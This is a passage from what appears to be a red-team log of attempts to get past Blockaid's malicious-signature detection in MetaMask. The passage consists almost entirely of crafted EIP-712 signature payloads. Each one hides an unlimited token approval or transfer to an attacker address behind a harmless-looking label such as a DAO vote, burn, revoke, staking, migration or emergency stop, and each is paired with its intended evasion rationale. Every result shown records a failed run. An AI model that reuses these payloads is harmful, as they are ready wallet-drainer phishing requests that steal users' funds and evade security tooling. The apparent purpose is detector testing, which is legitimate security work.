Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T17:44:05.957Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T17:44:15.503Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T17:44:25.045Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T17:44:34.602Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T17:44:44.149Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T17:44:53.701Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T17:45:03.238Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T17:45:12.795Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T17:45:22.336Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T17:45:31.900Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T17:45:41.441Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T17:45:50.994Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T17:46:00.530Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN34-EIP3009-022", "timestamp": "2026-01-31T17:46:10.092Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x0379974a90f39d338d0c48328e2dead3547fe156605244f265ae6caa53593872\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN34-EIP3009-054", "timestamp": "2026-01-31T17:46:19.632Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xff9e77e6c7b3bcfbbc91c8b70eea2d796aeba934ca2161026e93429cb63752e6\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T17:46:29.167Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T17:46:38.729Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T17:46:48.278Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T17:46:57.820Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T17:47:07.375Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 